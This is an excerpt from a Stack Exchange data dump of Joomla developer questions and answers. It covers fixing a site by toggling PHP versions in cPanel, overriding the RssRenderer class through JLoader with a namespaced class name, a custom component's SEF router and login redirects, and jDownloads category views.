  <row Id="27978" PostTypeId="2" ParentId="20914" CreationDate="2020-04-22T02:44:05.463" Score="1" Body="&lt;p&gt;Changing the .htaccess file didn't help me, so I did the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Access the cPanel&lt;/li&gt;&#xA;&lt;li&gt;Go to MultiPHP Manager&lt;/li&gt;&#xA;&lt;li&gt;Select your website and change the php version to any other.&lt;/li&gt;&#xA;&lt;li&gt;Check your website now (wait 30 sec), and it should be working.&lt;/li&gt;&#xA;&lt;li&gt;Select your website again, and change back to the php version you were using before.&lt;/li&gt;&#xA;&lt;li&gt;Check your website again (wait 30 sec), and it should be working.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14241" LastEditorUserId="7730" LastEditDate="2020-04-25T00:09:51.580" LastActivityDate="2020-04-25T00:09:51.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27979" PostTypeId="2" ParentId="27977" CreationDate="2020-04-23T00:25:18.707" Score="3" Body="&lt;p&gt;You may find using the proper/current classes will also help you in getting your code base up to current levels and ready for Joomla 4, which in turn might highlight some old functions that you need to look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the instructions on  &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/el58Gh_6wUg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://groups.google.com/forum/#!topic/joomla-dev-general/el58Gh_6wUg&lt;/a&gt; to generate the file of deprecated classes and then keep it handy when PHPStorm tells me the current class is or will be deprecated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Instruction to generate the file:&lt;/strong&gt; If you have the CMS repo checked out locally, run the &lt;code&gt;build/stubGenerator.php&lt;/code&gt; script and stub classes for everything that was renamed at 3.8 will be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of the file generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @deprecated 5.0 Use Joomla\Registry\Registry instead.&#xA; */&#xA; class JRegistry extends Joomla\Registry\Registry {}&#xA;&#xA;/**&#xA; * @deprecated 4.0 Use Joomla\Registry\AbstractRegistryFormat instead.&#xA; */&#xA; abstract class JRegistryFormat extends Joomla\Registry\AbstractRegistryFormat {}&#xA;&#xA;/**&#xA; * @deprecated 5.0 Use Joomla\Registry\Format\Ini instead.&#xA; */&#xA; class JRegistryFormatIni extends Joomla\Registry\Format\Ini {}&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file is created from the PHPDoc comments in the core code and the API documentation identifies deprecated functions from the same comments so there maybe an equivalent utility available that looks at the methods/functions to provide a list.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2020-04-24T14:55:36.353" LastActivityDate="2020-04-24T14:55:36.353" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27980" PostTypeId="1" AcceptedAnswerId="27984" CreationDate="2020-04-24T06:26:03.593" Score="0" ViewCount="695" Body="&lt;p&gt;I am using Joomla\CMS\Response\JsonResponse to send a JSON response.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data= new \stdClass()&#xA;$data-&amp;gt;some_data = 1;&#xA;$resp = new JsonResponse($data);&#xA;echo $resp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to set a HTTP header for the response?&lt;/p&gt;&#xA;" OwnerUserId="14069" LastEditorUserId="14069" LastEditDate="2020-04-24T16:10:41.677" LastActivityDate="2020-04-24T16:17:04.603" Title="How to set HTTP header on Joomla's JSON response?" Tags="|joomla-3.x|json|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27981" PostTypeId="1" AcceptedAnswerId="27982" CreationDate="2020-04-24T09:16:42.007" Score="1" ViewCount="118" Body="&lt;p&gt;I have some issues with overriding the RssRenderer found in /libraries/Src/Document/Renderer/Feed/RssRenderer.php. In the past I have used a plugin to override a select html see topic here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/26806/override-jhtml-core-function-select-radiolist&quot;&gt;Override JHtml core function select.radiolist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot seem to get it to work by changing the config.php to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  System.Overrides&#xA; *&#xA; * @copyright   Copyright (C) 2012 Don Gilbert. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE&#xA; */&#xA;define('OVERRIDES', dirname(__FILE__).'/overrides');&#xA;&#xA;// Use JLoader to register all the classes you want to override&#xA;JLoader::register('RssRenderer', OVERRIDES.'/RssRenderer.php', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then having in the overrides folder the RssRenderer.php copied with the changes I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Joomla! Content Management System&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace Joomla\CMS\Document\Renderer\Feed;&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\CMS\Document\DocumentRenderer;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;/**&#xA; * RssRenderer is a feed that implements RSS 2.0 Specification&#xA; *&#xA; * @link   http://www.rssboard.org/rss-specification&#xA; * @since  3.5&#xA; *&#xA; * @property-read  \Joomla\CMS\Document\FeedDocument  $_doc  Reference to the Document object that instantiated the renderer&#xA; */&#xA;class RssRenderer extends DocumentRenderer&#xA;{&#xA;    /**&#xA;     * Renderer mime type&#xA;     *&#xA;     * @var    string&#xA;     * @since  3.5&#xA;     */&#xA;    protected $_mime = 'application/rss+xml';&#xA;&#xA;    /**&#xA;     * Render the feed.&#xA;     *&#xA;     * @param   string  $name     The name of the element to render&#xA;     * @param   array   $params   Array of values&#xA;     * @param   string  $content  Override the output of the renderer&#xA;     *&#xA;     * @return  string  The output of the script&#xA;     *&#xA;     * @see     DocumentRenderer::render()&#xA;     * @since   3.5&#xA;     */&#xA;    public function render($name = '', $params = null, $content = null)&#xA;    {&#xA;        $app = \JFactory::getApplication();&#xA;&#xA;        // Gets and sets timezone offset from site configuration&#xA;        $tz  = new \DateTimeZone($app-&amp;gt;get('offset'));&#xA;        $now = \JFactory::getDate();&#xA;        $now-&amp;gt;setTimeZone($tz);&#xA;&#xA;        $data = $this-&amp;gt;_doc;&#xA;&#xA;&#xA;&#xA;        $url = Uri::getInstance()-&amp;gt;toString(array('scheme', 'user', 'pass', 'host', 'port'));&#xA;        $syndicationURL = \JRoute::_('&amp;amp;format=feed&amp;amp;type=rss');&#xA;&#xA;        $title = $data-&amp;gt;getTitle();&#xA;&#xA;        if ($app-&amp;gt;get('sitename_pagetitles', 0) == 1)&#xA;        {&#xA;            $title = \JText::sprintf('JPAGETITLE', $app-&amp;gt;get('sitename'), $data-&amp;gt;getTitle());&#xA;        }&#xA;        elseif ($app-&amp;gt;get('sitename_pagetitles', 0) == 2)&#xA;        {&#xA;            $title = \JText::sprintf('JPAGETITLE', $data-&amp;gt;getTitle(), $app-&amp;gt;get('sitename'));&#xA;        }&#xA;&#xA;        $feed_title = htmlspecialchars($title, ENT_COMPAT, 'UTF-8');&#xA;&#xA;        $datalink = $data-&amp;gt;getLink();&#xA;&#xA;        if (preg_match('/[\x80-\xFF]/', $datalink))&#xA;        {&#xA;            $datalink = implode('/', array_map('rawurlencode', explode('/', $datalink)));&#xA;        }&#xA;&#xA;        $feed = &quot;&amp;lt;rss version=\&quot;1.0\&quot; xmlns:atom=\&quot;http://www.w3.org/2005/Atom\&quot;&amp;gt;\n&quot;;&#xA;        $feed .= print_r($data);&#xA;        $feed .= &quot;  &amp;lt;channel&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;title&amp;gt;&quot; . $feed_title . &quot; Monkey&amp;lt;/title&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[&quot; . $data-&amp;gt;getDescription() . &quot;]]&amp;gt;&amp;lt;/description&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;link&amp;gt;&quot; . str_replace(' ', '%20', $url . $datalink) . &quot;&amp;lt;/link&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;lastBuildDate&amp;gt;&quot; . htmlspecialchars($now-&amp;gt;toRFC822(true), ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/lastBuildDate&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;generator&amp;gt;&quot; . $data-&amp;gt;getGenerator() . &quot;&amp;lt;/generator&amp;gt;\n&quot;;&#xA;        $feed .= &quot;      &amp;lt;atom:link rel=\&quot;self\&quot; type=\&quot;application/rss+xml\&quot; href=\&quot;&quot; . str_replace(' ', '%20', $url . $syndicationURL) . &quot;\&quot;/&amp;gt;\n&quot;;&#xA;&#xA;        if ($data-&amp;gt;image != null)&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;image&amp;gt;\n&quot;;&#xA;            $feed .= &quot;          &amp;lt;url&amp;gt;&quot; . $data-&amp;gt;image-&amp;gt;url . &quot;&amp;lt;/url&amp;gt;\n&quot;;&#xA;            $feed .= &quot;          &amp;lt;title&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;image-&amp;gt;title, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/title&amp;gt;\n&quot;;&#xA;            $feed .= &quot;          &amp;lt;link&amp;gt;&quot; . str_replace(' ', '%20', $data-&amp;gt;image-&amp;gt;link) . &quot;&amp;lt;/link&amp;gt;\n&quot;;&#xA;&#xA;            if ($data-&amp;gt;image-&amp;gt;width != '')&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;width&amp;gt;&quot; . $data-&amp;gt;image-&amp;gt;width . &quot;&amp;lt;/width&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            if ($data-&amp;gt;image-&amp;gt;height != '')&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;height&amp;gt;&quot; . $data-&amp;gt;image-&amp;gt;height . &quot;&amp;lt;/height&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            if ($data-&amp;gt;image-&amp;gt;description != '')&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;description&amp;gt;&amp;lt;![CDATA[&quot; . $data-&amp;gt;image-&amp;gt;description . &quot;]]&amp;gt;&amp;lt;/description&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            $feed .= &quot;      &amp;lt;/image&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;getLanguage() !== '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;language&amp;gt;&quot; . $data-&amp;gt;getLanguage() . &quot;&amp;lt;/language&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;copyright != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;copyright&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;copyright, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/copyright&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;editorEmail != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;managingEditor&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;editorEmail, ENT_COMPAT, 'UTF-8') . ' ('&#xA;                . htmlspecialchars($data-&amp;gt;editor, ENT_COMPAT, 'UTF-8') . &quot;)&amp;lt;/managingEditor&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;webmaster != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;webMaster&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;webmaster, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/webMaster&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;pubDate != '')&#xA;        {&#xA;            $pubDate = \JFactory::getDate($data-&amp;gt;pubDate);&#xA;            $pubDate-&amp;gt;setTimeZone($tz);&#xA;            $feed .= &quot;      &amp;lt;pubDate&amp;gt;&quot; . htmlspecialchars($pubDate-&amp;gt;toRFC822(true), ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/pubDate&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if (!empty($data-&amp;gt;category))&#xA;        {&#xA;            if (is_array($data-&amp;gt;category))&#xA;            {&#xA;                foreach ($data-&amp;gt;category as $cat)&#xA;                {&#xA;                    $feed .= &quot;      &amp;lt;category&amp;gt;&quot; . htmlspecialchars($cat, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/category&amp;gt;\n&quot;;&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                $feed .= &quot;      &amp;lt;category&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;category, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/category&amp;gt;\n&quot;;&#xA;            }&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;docs != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;docs&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;docs, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/docs&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;ttl != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;ttl&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;ttl, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/ttl&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;rating != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;rating&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;rating, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/rating&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;skipHours != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;skipHours&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;skipHours, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/skipHours&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        if ($data-&amp;gt;skipDays != '')&#xA;        {&#xA;            $feed .= &quot;      &amp;lt;skipDays&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;skipDays, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/skipDays&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        for ($i = 0, $count = count($data-&amp;gt;items); $i &amp;lt; $count; $i++)&#xA;        {&#xA;            $itemlink = $data-&amp;gt;items[$i]-&amp;gt;link;&#xA;&#xA;            if (preg_match('/[\x80-\xFF]/', $itemlink))&#xA;            {&#xA;                $itemlink = implode('/', array_map('rawurlencode', explode('/', $itemlink)));&#xA;            }&#xA;&#xA;            if ((strpos($itemlink, 'http://') === false) &amp;amp;&amp;amp; (strpos($itemlink, 'https://') === false))&#xA;            {&#xA;                $itemlink = str_replace(' ', '%20', $url . $itemlink);&#xA;            }&#xA;&#xA;            $feed .= &quot;      &amp;lt;item&amp;gt;\n&quot;;&#xA;            $feed .= &quot;          &amp;lt;title&amp;gt;&quot; . htmlspecialchars(strip_tags($data-&amp;gt;items[$i]-&amp;gt;title), ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/title&amp;gt;\n&quot;;&#xA;            $feed .= &quot;          &amp;lt;link&amp;gt;&quot; . str_replace(' ', '%20', $itemlink) . &quot;&amp;lt;/link&amp;gt;\n&quot;;&#xA;&#xA;            if (empty($data-&amp;gt;items[$i]-&amp;gt;guid))&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;guid isPermaLink=\&quot;true\&quot;&amp;gt;&quot; . str_replace(' ', '%20', $itemlink) . &quot;&amp;lt;/guid&amp;gt;\n&quot;;&#xA;            }&#xA;            else&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;guid isPermaLink=\&quot;false\&quot;&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;guid, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/guid&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            $feed .= &quot;          &amp;lt;description&amp;gt;&amp;lt;![CDATA[&quot; . $this-&amp;gt;_relToAbs($data-&amp;gt;items[$i]-&amp;gt;description) . &quot;]]&amp;gt;&amp;lt;/description&amp;gt;\n&quot;;&#xA;&#xA;            if ($data-&amp;gt;items[$i]-&amp;gt;authorEmail != '')&#xA;            {&#xA;                $feed .= '          &amp;lt;author&amp;gt;'&#xA;                    . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;authorEmail . ' (' . $data-&amp;gt;items[$i]-&amp;gt;author . ')', ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/author&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            /*&#xA;             * @todo: On hold&#xA;             * if ($data-&amp;gt;items[$i]-&amp;gt;source!='')&#xA;             * {&#xA;             *   $data.= &quot;          &amp;lt;source&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;source, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/source&amp;gt;\n&quot;;&#xA;             * }&#xA;             */&#xA;&#xA;            if (empty($data-&amp;gt;items[$i]-&amp;gt;category) === false)&#xA;            {&#xA;                if (is_array($data-&amp;gt;items[$i]-&amp;gt;category))&#xA;                {&#xA;                    foreach ($data-&amp;gt;items[$i]-&amp;gt;category as $cat)&#xA;                    {&#xA;                        $feed .= &quot;          &amp;lt;category&amp;gt;&quot; . htmlspecialchars($cat, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/category&amp;gt;\n&quot;;&#xA;                    }&#xA;                }&#xA;                else&#xA;                {&#xA;                    $feed .= &quot;          &amp;lt;category&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;category, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/category&amp;gt;\n&quot;;&#xA;                }&#xA;            }&#xA;&#xA;            if ($data-&amp;gt;items[$i]-&amp;gt;comments != '')&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;comments&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;comments, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/comments&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            if ($data-&amp;gt;items[$i]-&amp;gt;date != '')&#xA;            {&#xA;                $itemDate = \JFactory::getDate($data-&amp;gt;items[$i]-&amp;gt;date);&#xA;                $itemDate-&amp;gt;setTimeZone($tz);&#xA;                $feed .= &quot;          &amp;lt;pubDate&amp;gt;&quot; . htmlspecialchars($itemDate-&amp;gt;toRFC822(true), ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/pubDate&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            if ($data-&amp;gt;items[$i]-&amp;gt;enclosure != null)&#xA;            {&#xA;                $feed .= &quot;          &amp;lt;enclosure url=\&quot;&quot;;&#xA;                $feed .= $data-&amp;gt;items[$i]-&amp;gt;enclosure-&amp;gt;url;&#xA;                $feed .= &quot;\&quot; length=\&quot;&quot;;&#xA;                $feed .= $data-&amp;gt;items[$i]-&amp;gt;enclosure-&amp;gt;length;&#xA;                $feed .= &quot;\&quot; type=\&quot;&quot;;&#xA;                $feed .= $data-&amp;gt;items[$i]-&amp;gt;enclosure-&amp;gt;type;&#xA;                $feed .= &quot;\&quot;/&amp;gt;\n&quot;;&#xA;            }&#xA;&#xA;            $feed .= &quot;      &amp;lt;/item&amp;gt;\n&quot;;&#xA;        }&#xA;&#xA;        $feed .= &quot;  &amp;lt;/channel&amp;gt;\n&quot;;&#xA;        $feed .= &quot;&amp;lt;/rss&amp;gt;\n&quot;;&#xA;&#xA;        return $feed;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just doesn't take this override into consideration. If I make the changes directly in the core folder it changes. Does anyone know why this is not overriding? Maybe because it extends the class?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2020-04-24T09:35:18.487" Title="Overriding RssRenderer via plugin" Tags="|plugin|overrides|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27982" PostTypeId="2" ParentId="27981" CreationDate="2020-04-24T09:35:18.487" Score="2" Body="&lt;p&gt;Because the class is namespaced you have to use fully qualified class name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('Joomla\\CMS\\Document\\Renderer\\Feed\\RssRenderer', OVERRIDES . '/RssRenderer.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-24T09:35:18.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27983" PostTypeId="1" CreationDate="2020-04-24T13:25:49.183" Score="0" ViewCount="92" Body="&lt;p&gt;I inherited a site with a custom component: an agenda viewer. When I click on an agenda-item from the list and then login (via login module) or change the language, I am not redirected to the agenda item but instead to the agenda list again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How an I fix this so that I am being redirected to the agenda-item page again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logging out works perfectly however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base64 return value is also the correct url for the agendaitem page (for both login and logout).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on previous searches, I know that this has to do something with SEF. And when I disable SEF, the custom component page cannot be found (and I would like to keep SEF enabled). Also based on previous research, I think the issue must lie in &lt;code&gt;router.php&lt;/code&gt;.&#xA;Here is that file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * @param   array   A named array&#xA; * @return  array&#xA; */&#xA;function Protagoras_agendaBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $segments = array();&#xA;&#xA;    if (isset($query['task'])) {&#xA;        $segments[] = implode('/',explode('.',$query['task']));&#xA;        unset($query['task']);&#xA;    }&#xA;    if (isset($query['id'])) {&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    }&#xA;&#xA;    return $segments;&#xA;}&#xA;&#xA;/**&#xA; * @param   array   A named array&#xA; * @param   array&#xA; *&#xA; * Formats:&#xA; *&#xA; * index.php?/protagoras_agenda/task/id/Itemid&#xA; *&#xA; * index.php?/protagoras_agenda/id/Itemid&#xA; */&#xA;function Protagoras_agendaParseRoute($segments)&#xA;{&#xA;&#xA;    $vars = array();&#xA;&#xA;    /**&#xA;     * Agenda-item&#xA;     */&#xA;    if(!empty($segments[0])) {&#xA;        $id = explode( ':', $segments[0] );&#xA;        $vars['id']     = $id[0];&#xA;        $vars['view']   = 'agendaitem';&#xA;&#xA;    } else {&#xA;        $vars['view'] = 'agendaitems';&#xA;    }&#xA;&#xA;    return $vars;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: added http requests/responses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;While not logged in:&#xA;Navigating to agenda:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda&#xA;Navigating to agenda item:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda/1760-woensdag-puzzeldag&#xA;&#xA;Logging in while on agenda item page:&#xA;status 303 Post:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda&#xA;form data:&#xA;username=USERNAME&#xA;password=PASSWORD&#xA;option=com_users&#xA;task=user.login&#xA;return=aHR0cHM6Ly93d3cucHJvdGFnb3Jhcy50dWUubmwvc3R1ZGVudGVuL3ZlcmVuaWdpbmcvYWdlbmRhLzE3NjAtd29lbnNkYWctcHV6emVsZGFn&#xA;85abb6f5daccba2a45c3c4ff59f8cfe7=1&#xA;Submit=&quot;&quot;&#xA;&#xA;status 200 Get:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda&#xA;&#xA;Logging out while on agenda item:&#xA;status 303 Post:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda&#xA;form data:&#xA;&#xA;option=com_users&#xA;task=user.logout&#xA;return=aHR0cHM6Ly93d3cucHJvdGFnb3Jhcy50dWUubmwvc3R1ZGVudGVuL3ZlcmVuaWdpbmcvYWdlbmRhLzE3NjAtd29lbnNkYWctcHV6emVsZGFn&#xA;0714e4c8ac53d16d7ec8287fe4eedb9f=1&#xA;&#xA;status 200 Get:&#xA;https://www.protagoras.tue.nl/studenten/vereniging/agenda/1760-woensdag-puzzeldag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit 2: added Post request locations&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;response header location Post request when logging in:&#xA;Location: /studenten/vereniging/agenda&#xA;&#xA;response header location Post request when logging out:&#xA;Location: https://www.protagoras.tue.nl/studenten/vereniging/agenda/1760-woensdag-puzzeldag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SOLUTION: component did not contain associations (&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_Associations&lt;/a&gt;). Disabling plugins-&gt;languagefilter-&gt;associations did the trick but it would be best to write an associations functionality for this component. Thanks Robbie Jackson (see comments below)&lt;/p&gt;&#xA;" OwnerUserId="14244" LastEditorUserId="14244" LastEditDate="2020-04-26T11:57:28.473" LastActivityDate="2020-04-26T11:57:28.473" Title="Custom component: different redirect when changing language/logging in" Tags="|sef|redirect|joomla-3.9|php7|router|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="27984" PostTypeId="2" ParentId="27980" CreationDate="2020-04-24T16:17:04.603" Score="1" Body="&lt;p&gt;The recommended replacement according to the Joomla documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Element                   Line        Description&#xA;\JResponse::setHeader()   83          3.2 Use JApplicationWeb::setHeader() instead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/deprecated.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/deprecated.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-04-24T16:17:04.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27985" PostTypeId="1" CreationDate="2020-04-24T19:19:22.517" Score="1" ViewCount="98" Body="&lt;p&gt;I found myself maintaining a poorly built website in a CMS I'm not really familiar with (Joomla, version 3.2), so I'm sort of fumbling through making basic improvements to it until we can secure a new designer. So, apologies for my lack of knowledge on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website uses jDownloads to display lists of PDFs. They are currently divided into three subcategories under one main category. I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Right now, the only way to view them is to go into the individual subcategories, but I would like to be able to &lt;strong&gt;show all of them within a single page&lt;/strong&gt; while still &lt;strong&gt;keeping the option of showing just one subcategory at a time&lt;/strong&gt;. Is there a view to show all files in all subcategories at the same time? A workaround I can think of is to scrap the subcategories and use tags instead, but the tags display is really ugly right now (plus, it will require additional clicks since it doesn't have the download button), and that would be a whole new rabbit hole to go into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a way to search through the documents in a specific category? There are lots of other documents in other categories, so the general search on jDownloads is pretty useless to users. Is there a way to allow them to search through a specific category? Ideally, this will be a link that defaults to a search within a category, rather than the user having to manually select what category to search through (although I don't think they can even do that right now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help and patience!&lt;/p&gt;&#xA;" OwnerUserId="14246" LastEditorUserId="14246" LastEditDate="2020-04-25T21:32:56.813" LastActivityDate="2020-04-25T21:32:56.813" Title="Joomla jDownloads: How to display files inside subcategories under top level category, and how to search within a category?" Tags="|joomla-3.2|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
